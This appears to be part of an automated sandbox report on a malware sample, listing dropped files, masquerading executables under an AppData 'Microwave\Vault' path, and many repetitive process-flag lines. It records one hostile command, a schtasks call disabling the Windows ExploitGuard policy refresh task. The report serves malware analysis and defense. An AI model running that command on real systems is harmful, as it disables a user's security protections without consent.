Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC2DF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIF889.tmp	Jump to dropped file

Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\License.txt
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\LICENSE.txt
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\@isaacs\cliui\node_modules\emoji-regex\LICENSE-MIT.txt
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\wrap-ansi\node_modules\emoji-regex\LICENSE-MIT.txt
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	File created: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\readme.txt

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\Install_YTTCHTs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\JWQgbclQK5.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
